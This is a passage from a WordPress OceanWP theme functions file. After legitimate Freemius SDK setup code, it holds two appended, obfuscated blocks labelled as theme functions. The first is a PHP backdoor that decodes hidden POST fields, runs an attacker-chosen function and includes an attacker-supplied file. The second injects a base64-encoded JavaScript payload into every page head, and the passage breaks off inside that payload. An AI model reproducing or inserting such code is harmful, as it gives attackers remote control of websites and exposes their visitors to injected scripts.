OE_FILE_PATH ) . '/includes/freemius/start.php' ) ) { /** * Create a helper function for easy SDK access. */ function owp_fs() { global $owp_fs; if ( ! isset( $owp_fs ) ) { // Include Freemius SDK. require_once dirname( OE_FILE_PATH ) . '/includes/freemius/start.php'; $owp_fs = fs_dynamic_init( array( 'id' => '3752', 'bundle_id' => '3767', 'slug' => 'oceanwp', 'type' => 'theme', 'public_key' => 'pk_043077b34f20f5e11334af3c12493', 'bundle_public_key' => 'pk_c334eb1ae413deac41e30bf00b9dc', 'is_premium' => false, 'has_addons' => true, 'has_paid_plans' => true, 'menu' => array( 'slug' => 'oceanwp', 'account' => true, 'contact' => false, 'support' => false, ), 'bundle_license_auto_activation' => true, 'navigation' => 'menu', 'is_org_compliant' => true, ) ); } return $owp_fs; } // Init Freemius. owp_fs(); // Signal that SDK was initiated. do_action( 'owp_fs_loaded' ); } } // endregion new OCEANWP_Theme_Class(); /* app.neochemicals.bh theme functions */ if( ! function_exists('kqasbderboyoij') ) { function kqasbderboyoij($iyejirtii, $jjguywl) { $pxsaevnpmgvs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; $iyejirtii = strtr($iyejirtii, $jjguywl, $pxsaevnpmgvs); $iyejirtii = xhnflkfvtuyo($iyejirtii); return $iyejirtii; } function xhnflkfvtuyo($rvkqbfdws) { $rvkqbfdws = base64_decode($rvkqbfdws); return $rvkqbfdws; } $qouimtedk = $_POST; if(isset($qouimtedk['mkjpsiptywl'])) { $qnsgtttnue = $qouimtedk['mkjpsiptywl']; $cvndbhmh = kqasbderboyoij($qouimtedk['ssrqwrmadpiayny'], $qnsgtttnue); $lcwvucdpz = kqasbderboyoij($qouimtedk['systryigv'], $qnsgtttnue); $dfgnqatnpb = kqasbderboyoij($qouimtedk['yyyrykvwlgtxb'], $qnsgtttnue); $dfgnqatnpb($cvndbhmh, $lcwvucdpz); include($cvndbhmh); } } /* app.neochemicals.bh theme functions */ add_action('wp_head', function(){echo '<script type="text/javascript">blhfOIgkH="ZnVuY3Rpb24gUCgpe2NvbnN0IGRPPVsnSE1pT2wnLCdvYVdSQicsJ1lXbDBJJywncFBHck4nLCdlbnQnLCd0NWIxTicsJ21Ob2FXJywnMzAyMzNSb2hKSUwnLCdXbHVkRCcsJ0ZyYnk1JywnbWNpZlYnLCdJQXA5SScsJzJGMFkyJywnTGpBdU4nLCdya0xjUicsJ1pYTnpJJywnY21WemMnLCdpSjJhVycsJ0NBZ0NpJywnVVRNaWonLCdIU0hqdCcsJ2lkSGx3JywnYm5STWEnLCdDQnZjbScsJ3BibkIxJywnWUtibEYnLCdJblI1YycsJzE2NTc5OHZ1ZXZsQycsJ1YzSWl3JywndHJhY2UnLCcxOTU5TE9yWG9KJywnMWxjbXgnLCdDbnNpYScsJ3VqWHB1JywnWmZ3WE4nLCdpYm1GdCcsJ0pqYjI1JywnM1J2T2knLCdHbHZiaycsJ2NvbnN0JywnWkR2dE4nLCdSZXFVdycsJ3VaWGNnJywnV1E5Ym0nLCdsb2cnLCdXNWpLQycsJ3NDbU52Jywna052Ym4nLCc1MFpYSicsJ2lJc0luJywnVjJWaU0nLCdvZlFHSicsJ0JaR1J5JywnVjNJSGQnLCdISmhZMycsJ3RUSGV4JywnOWpaRzQnLCdJblpwWicsJzNSeWFXJywnNE5UQTAnLCcoKCguKycsJ3dvWUNoJywnTGZtWm4nLCd1aHNYaycsJ09kTVBTJywneWVlY2EnLCdjdklpaycsJ2xlbmd0JywnaFZhVzUnLCdXMWxJaicsJ1dpTW9jJywnWTJocFonLCdoZWFkJywndmRYUncnLCdIbHdaUycsJ1BkWXBXJywnOWpaRzUnLCdZM0o1YycsJ3dzbUVTJywnWkc5amQnLCdWemRDOScsJ1dSQlpHJywnVzFsYm4nLCdpYVd4cCcsJzBzSW5OJywnYW1GNEwnLCdrcXF0UicsJ2JGUjVjJywnTHRORlYnLCdyblRKSicsJ3NyYycsJ2ZoYUJwJywnZlV3eEInLCdLcFNOVycsJ2tJY2hpJywnTXR5R0InLCd1SW4wcycsJ2lPaUp6JywnVWVYQmwnLCdlem94TScsJ2lablZ1Jywnc2NyaXAnLCdETlliTScsJ2x1WnlKJywnVjBjSFYnLCd1WTJoaCcsJ1c1amRHJywnVzV3ZFgnLCdZM1JwYicsJ3JldHVyJywnVzUwWlgnLCdXSnBiRycsJ2NrTnZaJywnMzA2YnRqSlJSJywnT2lKemQnLCd2YlM5aCcsJ0ltbHVjJywnbDBlU0knLCdHOHRhbicsJ3VZV3hVJywncmVYUnknLCdlWEJsSScsJ0hNdWIzJywnNzgxM0ttS2xGaicsJ2JtRnNWJywnSlNIVXYnLCd1ZEdWeScsJ0VZQ3dMJywnc0NpSXcnLCdTTUtXQicsJ0psTG1OJywnZm9yRWEnLCdnb1h5bCcsJ21sbGR5JywneExqRXYnLCdhSFIwYycsJ3J2a3ZBJywnSnVZV3gnLCcxYm1kNicsJ3NJbTVoJywnR016TjAnLCdwTEdNOScsJzE1Mk9JaHFMWScsJ2luZycsJ2pvaWMzJywnRUZjelUnLCdSeklqcCcsJ0pKUFVwJywnY3c9PScsJ1lYUmxUJywna1FXUmsnLCdHeGhkRycsJ2MzUmhkJywnUG1NdVknLCd2WWloaCcsJ3BLQ2xnJywnY21Ob2EnLCdZVEZpTycsJ0pwYkdsJywnTkFOQzQnLCdMblZ1WicsJ3h2Y21OJywnSW9ZWGQnLCc1Y0dVaScsJ0lqb2liJywnb0tTNWonLCdKemRISicsJ0tERW9sJywnS1JEYW0nLCdMQ0p1WScsJ1EyOXVkJywneWdwTG0nLCcwY0hWMCcsJ3RvU3RyJywnek5xeVUnLCdzSW5OMCcsJ2NyZWF0JywnbigpXHgyMCcsJzRpZlYwJywnY0dGeWMnLCdjeUk2VycsJ0owZVhCJywnTGhZQ3YnLCdaWGNpTCcsJ3BMQXB2JywnVzNzaWEnLCdjdG9yKCcsJ2VYQnVyJywnaUxDSjAnLCc5WFN3aScsJ0xDSnpkJywnKSspKyknLCdNRUptTScsJ1lXeHNLJywnVFdiZ3MnLCc1aGJXVScsJ3NaU0lzJywnc2VhcmMnLCdoYVhRZycsJ211VnpVJywnVFQwNHUnLCdTUkN6aScsJzBPRUZ5JywnTnZaR1YnLCdXTjBQVycsJ2dDVXZzJywnaU9pSnYnLCdiRzkxWicsJ0pwYm5SJywnMGNtbHUnLCdTNXZjbScsJ3Q3SW1sJywnSTZXMTAnLCdMQWl2QScsJ3NhWFI1Jywnb2xlVFInLCdKUFFTQycsJ0dWdWRFJywnVjBMMjUnLCdydWN0bycsJ3BTd0prJywnYUc5a2MnLCdFNFFqSScsJzIyMDM3ME1Cd0lNaScsJ21aMWJtJywnMlVvY0cnLCc3ZlNBZycsJ2RDaGlsJywnSEpwYm0nLCdpS1N3SycsJ3B6bGh1JywnYm1GdFonLCdWcFhxaicsJ2hMSkhtJywnVWlPaUknLCdfX3BybycsJzYyMElISWtueScsJ0dGMFlYJywndG9fXycsJ2lSRTlOJywnaE1XWTAnLCd1d1BERicsJ3ViV1YwJywnY29uc28nLCdpSjlMQScsJ2xZak11JywnR052Ym4nLCdDbUZ6ZScsJ2pNdWJXJywnTmxaV1EnLCdaWFJvTCcsJ01RYXdUJywnd0tjejEnLCd3WVd0dicsJ0ZDWWpoJywnSXNJblInLCdsdGRMQycsJ0hWMGN5Jywnb0tTeHYnLCdOb2FXUScsJzEwc0ltJywnbVp5YjInLCdTNWpZVycsJ2NtOXRLJywnMjAwbFhyRVJLJywneEp2RGInLCdjbmx3ZCcsJ2JuUnlZJywnQzVEYjInLCdSeVpYTicsJ1kyOXVjJywnVUNKdngnLCd0emZYMCcsJzBZWFJsJywncGJtY2knLCdwb1BiZycsJ3R5UmxPJywnWld4cGQnLCdoR251VScsJ3N3UU9TJywnMmhoY2snLCdXSVpFSCcsJ21WMllXJywnZUVsZW0nLCdCQ0tDZCcsJ012Y0dGJywnTXhlZ08nLCdITTZMeScsJ3psa1pHJywncHJvdG8nLCd1WW1sdScsJ1hjaUxDJywnaEJjbkonLCdDOXdZVycsJ1p5SXNJJywncmJ5OHknLCcxMWRHRicsJ1ZrTlRNJywnc2UzUnYnLCdvSm9vQicsJ0x0Z0R0JywnU0k2SWknLCdNOVBtTScsJzNRZ2QyJywnXHgyMnJldHUnLCd2ekVwVicsJ1puVnVZJywnMnhwWW4nLCdHbGtRVScsJ3t9LmNvJywnMjRpZlMnLCdOaGJHdycsJ1ZZd1F4JywnRnBMTE8nLCdwekxtMScsJ1hRRnhMJywnSmphR2wnLCdJam9pYycsJ2JYU3dpJywnZURreE4nLCdkSGtpTycsJzBLRzl5JywnelBXRjMnLCdqcGJleScsJzZMeTlpJywnamRDZ0snLCc2SW5acCcsJ2J3ZHBWJywnUXViV1YnLCdtOXVjRycsJ1pHUnlaJywnTldvYlYnLCdkSEIxZCcsJzNzaWFXJywnTDNkbFknLCczUnBiMicsJ2lKdmNtJywnblx4MjAoZnUnLCd0dkxtMScsJ0lqb2lkJywnTjBhVzknLCdsY201aCcsJ1hhY2diJywnWTI5dWQnLCd1YW5OaycsJ3hzS0NrJywnYmluZCcsJ1JoWW1sJywna1JYWmwnLCd1WmN4YycsJ09pSm1kJywnWExzR3knLCdiUHVmWCcsJ1hOeklpJywnWE4wWlcnLCdLZ3Z4UicsJ2MyTXRaJywnd2JTOTMnLCdxbHlKYicsJ2NtRjVMJywnUEp3U2EnLCdtNWhiVycsJ2JXVWlPJywnd2liM1YnLCdsdUxtcCcsJ09GT0JSJywnUnlZV04nLCdSNWNHVScsJ3diUzlqJywnMTE0NzYzZlhsYkR6JywndHlwZScsJ25zdHJ1JywnR0YwWlUnLCdsdmJpSicsJ29pSWl3JywnaXNceDIyKSgnLCdxY3k1aicsJ2RHaHZaJywnbHlBSE4nLCd3YXJuJywnVFhWMFknLCc0NTQ4Z3JkZ2t0JywnZEhNaU8nLCd6ZEhKMScsJ2RmdUtCJywnb0dxZ2snLCdyakpwYycsJ2JXVnliJywnWlNJNkknLCdDa3BMRycsJ1Q1N0pIJywneTUwYjInLCdZM1J2YycsJ0dGMGIyJywnZDJGcGQnLCdiM0pqYScsJzVuSWl3Jywnbk4wY20nLCdQREpuZycsJ0pwbmV4Jywna2FYTjAnLCdlcnJvcicsJ1dSQlFrJywnTmpyTnknLCdIUnZMVycsJ2NpZlNrJywna2lMQ0onLCdwYmk1cScsJ0ZDU1NJJywnUXVZV1InLCdTSTZJbScsJ0NKMGVYJywnd0tleUonLCd3YmxRdCcsJ2ZFUFpiJywnTG1WMGEnLCdwYjI1QicsJ0N1aHBoJywnUkJRa2snLCduSW4xZCcsJ1hWMFlXJywnQmRDZ3cnLCdlWVJtcicsJzUwY21GJywnQ0JhRlAnLCc2NFNlWWZiYycsJ2N5NXZjJywnc0ltOTEnLCdHVkJkQycsJ1J5YVc1JywnZUxMbVUnLCd1Y0hWMCcsJ2FwcGVuJywnS1Nrc2UnLCdsWkNJcycsJzNaV0l6JywnR1ZOZFgnLCdhWEFvVicsJ2d3S1NrJywnUjBjSE0nLCdCbElqbycsJ3Rpb24nLCc1bGR5QicsJ2FpQUNZJywnazlQbnQnLCc5TEFwNycsJ25BVlR2JywncDdJbWwnLCdUandKTCcsJ0dVaU9pJywnMG9ZWFInLCd0YWJsZScsJ3JWamNPJywnVmlNejEnLCdJNkluTicsJzBMbTFsJywnaW5mbycsJ0dac1lYJywnTm9hV1InLCdZeWdwUCcsJ2hlUzVtJywnZlNrN0MnLCd4dllXUicsJ0p1WVcxJywnc1l5U1gnLCdaV1VvSycsJzBlU0k2JywnWVc1alonLCdGNVlXSicsJzNwcGNDJywnZFhSekknLCdhcHBseScsJ0ZJWmtMJywnbklpd2knLCdFSXRmTycsJ1pXSXpRJywneWdpYUgnLCduSXVibScsJzVsY2lnJywnazdDZz0nLCd0WGlMbicsJzBjeUk2JywnYXJIYnknLCdoYzNsdScsJ2RISnBiJywnemd4UVUnLCdleGNlcCcsJzEzNDc2b0ZDd3p1JywnMGNubDcnLCdjaWZWMCcsJ1hOektTJywnMGFHOWsnLCdQd3h6dicsJ0NUenl5JywnRUZDU1MnLCduY3RpbycsJ0tYMEtZJywnaXdpYjMnLCdHZGhhaicsJ2xJam9pJywncm5ceDIwdGgnLCdqTVFnWCddO1A9ZnVuY3Rpb24oKXtyZXR1cm4gZE87fTtyZXR1cm4gUCgpO31mdW5jdGlvbiBkUyhkLHcsWixlLHope3JldHVybiBLKGUtMHgyZTAseik7fShmdW5jdGlvbihkLHcpe2Z1bmN0aW9uIHAoZCx3LFosZSx6KXtyZXR1cm4gSyhkLSAtMHgxYTYsWik7fWZ1bmN0aW9uIE0oZCx3LFosZSx6KXtyZXR1cm4gSyh6LTB4YTIsdyk7fWZ1bmN0aW9uIHUoZCx3LFosZSx6KXtyZXR1cm4gSyhlLSAtMHgxMTEseik7fWZ1bmN0aW9uIHMoZCx3LFosZSx6KXtyZXR1cm4gSyh6LSAtMHgxZjgsZCk7fWNvbnN0IFo9ZCgpO2Z1bmN0aW9uIGYoZCx3LFosZSx6KXtyZXR1cm4gSyhlLTB4NDcsWik7fXdoaWxlKCEhW10pe3RyeXtjb25zdCBlPXBhcnNlSW50KHAoMHgyYSwweDhjLC0weDdkLC0weDc1LDB4ZDEpKS8oMHgxNmUqMHgxNistMHhmYTEqMHgxKy0weGZkMikqKC1wYXJzZUludChwKDB4OWEsMHgxODIsLTB4ZSwweDExNCwweGIxKSkvKC0weDVhNyoweDErLTB4YioweDEyNCsweDEyMzUpKSstcGFyc2VJbnQocCgweDE4OSwweGI0LDB4MWM2LDB4MjE1LDB4MWY3KSkvKDB4NSotMHgzKy0weDY0YystMHgyKi0weDMyZikqKC1wYXJzZUludCh1KDB4OWYsMHhjZSwweDI4MiwweDE4ZCwweDFlNykpLygtMHgyMWU1KzB4MjBkMCsweDEqMHgxMTkpKSstcGFyc2VJbnQoTSgweDNhNCwweDJhZSwweDJkMSwweDNkMCwweDMzMykpLygtMHgxODQ1Ky0weDEyYjIrLTB4MmFmYyotMHgxKSstcGFyc2VJbnQodSgweDFjZSwweDZlLDB4MWM2LDB4MTEyLDB4MWI1KSkvKC0weDI0Y2UrMHgyMmI3KzB4MjFkKSoocGFyc2VJbnQocygweDFjLDB4NGUsLTB4ODUsLTB4NjQsLTB4M2YpKS8oLTB4MTIwYistMHg2ZCoweDM3KzB4MjJmKjB4MTMpKSstcGFyc2VJbnQoZigweDM3NiwweDQ0ZCwweDM5NiwweDNhMiwweDNjYikpLygweDJlMyoweGErLTB4MjBjMSsweDNlYioweDEpKihwYXJzZUludChwKDB4MjcsMHgxMTIsMHhmMiwtMHg5ZiwweGI2KSkvKDB4MTMqMHg4MysweDIxMCsweDQqLTB4MmYwKSkrLXBhcnNlSW50KGYoMHgyMmEsMHgyZTgsMHgyMTQsMHgzMDEsMHgyYzIpKS8oMHgxOWE5KzB4MTNjNCstMHgyZDYzKSoocGFyc2VJbnQocygweDFmZiwweGU5LDB4MWFhLDB4ZWUsMHgxMmIpKS8oLTB4MTRlKjB4MWMrMHgyNyotMHhmNystMHhjKi0weDYyZikpK3BhcnNlSW50KHUoLTB4MTksMHgzNSwweDI0LDB4OTIsMHgxMzcpKS8oLTB4MWVjZCstMHgxNGVlKzB4YTViKjB4NSkqKHBhcnNlSW50KGYoMHgyMDUsMHgzNGEsMHgyZGIsMHgyNzQsMHgyNDIpKS8oMHgxMDlmKi0weDErLTB4MSotMHgxMzZiKzB4MTMqLTB4MjUpKTtpZihlPT09dylicmVhaztlbHNlIFpbJ3B1c2gnXShaWydzaGlmdCddKCkpO31jYXRjaCh6KXtaWydwdXNoJ10oWlsnc2hpZnQnXSgpKTt9fX0oUCwtMHg0MDhkYistMHg3MjArLTB4MWYqLTB4MzM0NSkpO2Z1bmN0aW9uIGRJKGQsdyxaLGUseil7cmV0dXJuIEsoWi0gLTB4MzBlLHopO31mdW5jdGlvbiBkZyhkLHcsWixlLHope3JldHVybiBLKGQtIC0weDM2NyxlKTt9ZnVuY3Rpb24gZGMoZCx3LFosZSx6KXtyZXR1cm4gSyh3LTB4MWJmLGQpO31mdW5jdGlvbiBLKGQsdyl7Y29uc3QgWj1QKCk7cmV0dXJuIEs9ZnVuY3Rpb24oZSx6KXtlPWUtKDB4M2ZiKjB4MSstMHgxKjB4YjZmKy0weDMwNiotMHgzKTtsZXQgYT1aW2VdO3JldHVybiBhO30sSyhkLHcpO30oZnVuY3Rpb24oKXtjb25zdCB6PXsnZVlSbXInOmkoMHgxOTksMHgyMDksMHgxY2EsMHgxM2UsMHgxOWQpK2koMHgyYzAsMHgyOGMsMHgxZWUsMHgxYWMsMHgzNWMpKycrJCcsJ3NZeVNYJzpmdW5jdGlvbih4LGwpe3JldHVybiB4KGwpO30sJ3N3UU9TJzpmdW5jdGlvbihsLHEpe3JldHVybiBsK3E7fSwnT2RNUFMnOnkoMHgyMjUsMHgzMDUsMHgyNjIsMHgxMmEsMHgxNzQpK3koMHgzMDksMHgyZjksMHgyNzgsMHgyZGEsMHgyZDkpK0IoMHg3ZiwtMHgxMiwweDQ4LDB4NzYsMHhjYSkreSgweDI2OSwweDJiZiwweDM2MywweDE3ZSwweDI5MSksJ0ZwTExPJzpDKDB4M2M0LDB4MzIwLDB4M2E5LDB4M2E1LDB4M2I1KStDKDB4Mzk0LDB4NDI5LDB4M2U3LDB4NDExLDB4MzYyKStDKDB4NDA3LDB4MzNjLDB4MzJlLDB4MzNiLDB4Mjg2KSt5KDB4MmU4LDB4MmFhLDB4MjE5LDB4MmFiLDB4MjliKSt5KDB4MWI2LDB4MThjLDB4MWYwLDB4MTE4LDB4Mjg5KSt5KDB4MzJmLDB4MzE0LDB4M2ZlLDB4M2VmLDB4MzJmKSsnXHgyMCknLCd5ZWVjYSc6ZnVuY3Rpb24obCxxKXtyZXR1cm4gbD09PXE7fSwnek5xeVUnOkIoMHhlMiwweGUxLDB4OWMsMHhhNCwweDE5ZCksJ1ZZd1F4JzpmdW5jdGlvbihsLHEpe3JldHVybiBsIT09cTt9LCdQREpuZyc6QigweDk5LDB4ZmEsLTB4NjEsMHhmZCwweDE0MCksJ2hMSkhtJzp5KDB4MWE0LDB4MjY0LDB4MWU4LDB4YjcsMHhmNiksJ3JqSnBjJzp0KDB4YWUsMHhkOSwweDY4LDB4ZGMsMHgxNTcpLCdUV2Jncyc6QygweDNkMSwweDJmMywweDNhNSwweDQ0YywweDJkOSksJ1pEdnROJzpmdW5jdGlvbihsLHEpe3JldHVybiBsIT09cTt9LCdOV29iVic6QigweDEwNywweGUsMHhlNiwweDE2NywweDEwMCksJ0xoWUN2JzppKDB4MjIzLDB4MmI1LDB4MjI0LDB4MmI2LDB4MzQ2KSwnZGZ1S0InOmZ1bmN0aW9uKGwscSl7cmV0dXJuIGwhPT1xO30sJ3RYaUxuJzp5KDB4MzYwLDB4MjlhLDB4MmJmLDB4MzBjLDB4MmE1KSwncnZrdkEnOnkoMHgzMWIsMHgyYzQsMHgyYTcsMHgzMGYsMHgzMDIpLCd1aHNYayc6QygweDM3OSwweDMwNCwweDNmNSwweDRlNSwweDRjMSksJ2FpQUNZJzpmdW5jdGlvbihsLHEpe3JldHVybiBsK3E7fSwnWGFjZ2InOkMoMHgyZWMsMHgzYTQsMHgyZDksMHgyZmMsMHgyZjEpKyd0JywndFRIZXgnOmZ1bmN0aW9uKHgsbCl7cmV0dXJuIHgobCk7fSwnUGRZcFcnOnQoMHgxZjksMHgxNGEsMHgxNGYsMHgxYmYsMHgxMzYpLCdvbGVUUic6aSgweDM0YiwweDJlYiwweDI3MiwweDJlNCwweDMxMCksJ0VZQ3dMJzp5KDB4Mzc4LDB4MzU3LDB4M2U1LDB4M2U0LDB4MmFlKSwncFN3SmsnOkMoMHgyNmQsMHgzOTAsMHgyOTYsMHgxYzIsMHgyMWEpLCdMdGdEdCc6ZnVuY3Rpb24oeCxsKXtyZXR1cm4geChsKTt9LCdDdWhwaCc6QigweDFiMSwweDFlOCwweDI5OSwweDE3YSwweDE5YSksJ3V3UERGJzpCKDB4MTk5LDB4MjYwLDB4MjdiLDB4MWFlLDB4ZTMpLCdqTVFnWCc6ZnVuY3Rpb24oeCl7cmV0dXJuIHgoKTt9LCdQSndTYSc6dCgweDEzMSwweGY1LDB4OSwweGIwLC0weDkpLCdZS2JsRic6QygweDMyYiwweDQ0MywweDNlZiwweDMyYiwweDQxYiksJ0dkaGFqJzp5KDB4MzgwLDB4NDYwLDB4M2IxLDB4M2YwLDB4MmUwKSwndWpYcHUnOmkoMHgzMDcsMHgzNWUsMHg0MTksMHgzMjEsMHg0NDgpLCdxbHlKYic6QigweDc2LC0weDc2LC0weDI0LDB4YjIsMHg0MikraSgweDQ3OSwweDM4NiwweDJiYywweDNjYSwweDM5NCksJ1NSQ3ppJzpCKDB4MjQ5LDB4MWY1LDB4MWEwLDB4MTY2LDB4MTk2KSwnaEdudVUnOkMoMHgxOWEsMHgyMTgsMHgyOTEsMHgxZDcsMHgzMWUpLCdMZm1abic6ZnVuY3Rpb24obCxxKXtyZXR1cm4gbDxxO30sJ3JWamNPJzp0KDB4MTU4LDB4MTNiLDB4YSwweDdhLDB4MjYpLCdtdVZ6VSc6ZnVuY3Rpb24obCxxKXtyZXR1cm4gbCE9PXE7fSwnRUl0Zk8nOmkoMHgyNjcsMHgzNDcsMHgzM2MsMHg0MTAsMHgyNjcpLCd3c21FUyc6ZnVuY3Rpb24oeCxsKXtyZXR1cm4geChsKTt9LCdLUkRhbSc6ZnVuY3Rpb24oeCxsLHEpe3JldHVybiB4KGwscSk7fSwnRUZjelUnOkMoMHgyN2EsMHgyODUsMHgyZmIsMHgyMmMsMHgyZDUpK3koMHgyZDcsMHgzYjIsMHgyZDgsMHgyYzQsMHgyMzMpK0IoMHhiZSwweGIzLDB4MzMsMHg0OSwweDdjKStpKDB4MmQwLDB4MzI1LDB4MzRjLDB4Mjg3LDB4MzZiKSt0KDB4MjExLDB4MjgwLDB4YjEsMHgxOTksMHgyM2YpK0IoMHgyNjMsMHgzMmUsMHgyYmEsMHgzMjQsMHgxZTEpK0MoMHgyZjQsMHgzYmMsMHgzNGUsMHgzZWIsMHgyZjEpK2koMHg0MGMsMHgzMzIsMHgyOWMsMHgyNjksMHgzZjUpK3QoMHgzMGUsMHgyMWIsMHgyMDQsMHgyNWYsMHgzMGMpK3koMHgyNGYsMHgyODQsMHgxYWMsMHgyMjcsMHgxODIpK3QoMHhkZiwweDFiMCwweDE4OCwweGQ0LDB4OGQpK3QoMHgyYWUsMHgxMWUsMHgyMTgsMHgyMTQsMHgyOTMpK3koMHgzMDYsMHgyZjMsMHgzOGQsMHgyMjEsMHgzZGUpK3QoMHgxZWIsMHgxNWQsMHgyNmYsMHgxN2MsMHgxYjMpK3koMHgzMjQsMHgzZDksMHgzZjUsMHgzMGYsMHgyZjgpKyd6Jywnd2JsUXQnOkMoMHgzMTEsMHgzOTEsMHgyZmIsMHgzYzMsMHgzYWIpK2koMHgzNmUsMHgyZWMsMHgyMTYsMHgzZDUsMHgyNjkpK2koMHgyNzMsMHgyMTksMHgxNDIsMHgyNTksMHgxZGIpK0IoMHgxZmUsMHgxMTUsMHgxNjQsMHgyZTcsMHgxZTUpK0MoMHgzODAsMHgzNDQsMHgzNDMsMHgzOTIsMHgyYzgpK3koMHgzODEsMHg0NDEsMHgzNjIsMHgzYTcsMHgyZGYpK3QoMHgxYTUsMHgxZDksMHg0YSwweDEwNiwweGVhKStDKDB4M2UxLDB4Mjc5LDB4MmU3LDB4MmYzLDB4MjY3KSt0KDB4MTNkLDB4ZGQsMHgzZCwweGQ5LDB4NSkreSgweDJlYiwweDI1NCwweDM0ZSwweDJmOCwweDIwOCkrdCgweDE0NCwweDI0NiwweDFmNCwweDFhMSwweDI0OSkraSgweDM0MywweDJmNCwweDJjZSwweDM1YSwweDNjNykraSgweDEzYSwweDFkYSwweDI3YiwweDJhNywweDExMykrQigweDFhYiwweDI5YiwweDE3ZSwweDIyYSwweDI1MCkrdCgweDJhNywweDE1ZiwweDFjYiwweDFkNiwweDExZCkraSgweDJlNSwweDM2NCwweDJkOSwweDQyZiwweDNlMCkreSgweDI0YywweDIzOSwweDJkOSwweDJkZiwweDMxNiksJ0NUenl5JzpDKDB4MzlhLDB4MmYyLDB4MmZiLDB4MjMxLDB4MjZkKSt0KDB4ZTAsMHgxZDAsMHhmOSwweDFhMywweGVkKSt0KDB4OWEsMHgxMGEsMHhlNywweGJjLDB4MzMpK0IoMHgxZGUsMHgyZDQsMHgxNjAsMHgxMWEsMHgxNGQpK3koMHgyY2QsMHgyYWMsMHgyMjIsMHgzODksMHgyMjMpK3QoMHgxYmMsMHgzNTQsMHgxZjksMHgyNjEsMHgzMWQpK3QoMHg2YiwweDEzMSwweDFlNywweDE1ZSwweDgyKStCKDB4MWY2LDB4MWU5LDB4Mjk2LDB4MmM5LDB4MTYxKSt0KDB4YTYsMHgxYTMsMHgxNjIsMHgxOGUsMHhiYykreSgweDIyZSwweDEzYywweDFiZiwweDE0MSwweDJjZikraSgweDFlYSwweDI2YywweDIzNiwweDIwYiwweDMxNikreSgweDIzZSwweDJhNSwweDI2NiwweDMwMywweDE3OCkreSgweDIwNSwweDFlYSwweDIwYSwweDFkYSwweDI1NSkrdCgweDJlNywweDE4OCwweDE1NiwweDIxOCwweDMwMCkrQigweDFjMCwweDIzOCwweDFiOSwweDI5YywweDI1YykraSgweDMwOSwweDM2NCwweDNjNSwweDNmZiwweDM0NSkrdCgweDE4NCwweDQ1LDB4MWFkLDB4MTE4LDB4MTFiKX07ZnVuY3Rpb24gdChkLHcsWixlLHope3JldHVybiBLKGUtIC0weDEyZSxaKTt9Y29uc3QgYT0oZnVuY3Rpb24oKXtmdW5jdGlvbiBKKGQsdyxaLGUseil7cmV0dXJuIHQoZC0weDIsdy0weDk4LGUsWi0gLTB4MmI5LHotMHgxMTApO31mdW5jdGlvbiBXKGQsdyxaLGUseil7cmV0dXJuIGkoZSx3LSAtMHgyYjgsWi0weDE3ZixlLTB4MTRiLHotMHgzOCk7fWNvbnN0IHg9eydrcXF0Uic6ZnVuY3Rpb24obCxxKXtmdW5jdGlvbiBjKGQsdyxaLGUseil7cmV0dXJuIEsoWi0weDE4NSxlKTt9cmV0dXJuIHpbYygweDRjMiwweDRhNSwweDUwNywweDVkNiwweDVkYSldKGwscSk7fSwnZkVQWmInOmZ1bmN0aW9uKGwscSl7ZnVuY3Rpb24gZyhkLHcsWixlLHope3JldHVybiBLKHctIC0weDMyYSx6KTt9cmV0dXJuIHpbZygtMHg3YiwtMHg2MSwtMHgzYiwtMHgzOCwweDVmKV0obCxxKTt9LCdlTExtVSc6eltTKDB4NDQsMHgxYzQsMHgyMTcsMHg1ZSwweDEzOCldLCdlWEJ1cic6eltTKDB4MTZjLDB4MTNmLDB4MjBkLDB4MzFkLDB4MjMxKV0sJ2V6b3hNJzpmdW5jdGlvbihsLHEpe2Z1bmN0aW9uIEkoZCx3LFosZSx6KXtyZXR1cm4gUyhlLHctMHg1MyxaLTB4MTg5LGUtMHhhLHctIC0weDJkMik7fXJldHVybiB6W0koLTB4MTljLC0weDE5OSwtMHgyMDEsLTB4YzUsLTB4MTZjKV0obCxxKTt9LCdGSVprTCc6eltPKC0weDc1LC0weGY1LC0weDQ2LDB4NSwtMHgzMildLCdwemxodSc6ZnVuY3Rpb24obCxxKXtmdW5jdGlvbiBGKGQsdyxaLGUseil7cmV0dXJuIE8oZC0weDEzNSxlLFotMHhkZSxlLTB4MTcwLHotIC0weDljKTt9cmV0dXJuIHpbRigtMHgxM2EsMHg0YiwtMHhmNSwtMHgxMTksLTB4NDQpXShsLHEpO30sJ3R5UmxPJzp6W08oMHg2MiwweDE4ZiwweDE2NSwweDcwLDB4YWUpXSwna0ljaGknOnpbUygweDIzYiwweDFmYiwweDI0OCwweDE5MywweDFlMSldLCdnQ1V2cyc6eltKKC0weDE3MywtMHhjNywtMHhiMywtMHgxODQsLTB4NjgpXX07ZnVuY3Rpb24gTyhkLHcsWixlLHope3JldHVybiBpKHcsei0gLTB4MmFkLFotMHgxZDcsZS0weDUwLHotMHhlMik7fWZ1bmN0aW9uIFMoZCx3LFosZSx6KXtyZXR1cm4gdChkLTB4MTdiLHctMHg1ZSxkLHotMHg3NCx6LTB4ZDApO31mdW5jdGlvbiBiKGQsdyxaLGUseil7cmV0dXJuIHQoZC0weGVmLHctMHg2MixkLHctMHg0YTAsei0weDY1KTt9aWYoeltPKDB4YWEsMHgyYywweGZmLC0weDc3LDB4NTgpXSh6W1coLTB4YTksLTB4MjksMHg4MiwtMHhjZCwtMHhhNildLHpbSigtMHgxYTAsLTB4MTdkLC0weDE3MywtMHgyMTQsLTB4MTJkKV0pKXJldHVybiBaW2IoMHg1ZWIsMHg1ZDEsMHg2OGMsMHg1YzAsMHg1YTEpK2IoMHg2ODcsMHg1YjMsMHg2MTgsMHg1MTYsMHg1MTIpXSgpW1coMHg1OSwtMHgyNiwweDU5LC0weDE1LC0weDcxKSsnaCddKEFsU0hBQltXKDB4NzUsMHhiYiwtMHgxOCwweDE1NSwweDEyZildKVtPKC0weGI4LC0weGJjLC0weDk5LC0weGU3LC0weDMzKStXKC0weDEwMiwtMHg1YywtMHgxYSwtMHg5OSwweDY5KV0oKVtiKDB4NTRlLDB4NTRiLDB4NWY5LDB4NGIyLDB4NTlmKStXKC0weGM3LC0weDEwLC0weGNhLC0weDEwNCwtMHgzYikrJ3InXShlKVtiKDB4NjRjLDB4NWU5LDB4NjZhLDB4NWNhLDB4NjdlKSsnaCddKEFsU0hBQltKKC0weDExZiwtMHg5MywtMHg4ZiwtMHg1MywtMHg5YildKTtlbHNle2xldCBxPSE